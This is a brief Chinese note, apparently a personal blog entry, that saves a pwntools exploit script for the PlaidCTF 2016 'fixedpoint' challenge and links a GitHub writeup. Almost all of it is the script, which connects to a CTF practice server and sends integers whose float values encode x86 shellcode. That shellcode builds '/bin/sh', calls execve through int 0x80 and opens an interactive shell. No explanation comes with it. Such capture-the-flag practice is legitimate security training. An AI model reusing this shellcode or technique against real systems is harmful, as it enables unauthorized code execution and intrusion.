fixedpoint_plaid_2016的一题,留着备用https://github.com/ispoleet/ctf-writeups/tree/master/plaid_ctf_2016/fixedpoint
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| from pwn import * import struct
target = remote('node3.buuoj.cn',26804) def get_int(s): a = struct.unpack('<f', s)[0]* 1337 return struct.unpack('I', struct.pack('<I', a))[0] print "Sending IEEE754 shellcode..." sleep(1) for i in range(3): target.sendline(str(get_int('\x00\x00\x00\x00'))) target.sendline(str(get_int('\x99\x89\xc3\x47'))) target.sendline(str(get_int('\x41\x44\x44\x44'))) for c in '/bin/sh\x00': target.sendline(str(get_int('\x99\xb0'+c+'\x47'))) target.sendline(str(get_int('\x57\x89\x03\x43'))) for i in range(8): target.sendline(str(get_int('\x57\x4b\x41\x47'))) target.sendline(str(get_int('\x99\x31\xc0\x47'))) target.sendline(str(get_int('\x99\x31\xc9\x47'))) target.sendline(str(get_int('\x99\x31\xd2\x47'))) target.sendline(str(get_int('\x99\xb0\x0b\x47'))) target.sendline(str(get_int('\x99\xcd\x80\x47'))) raw_input() target.sendline('c') target.interactive()
|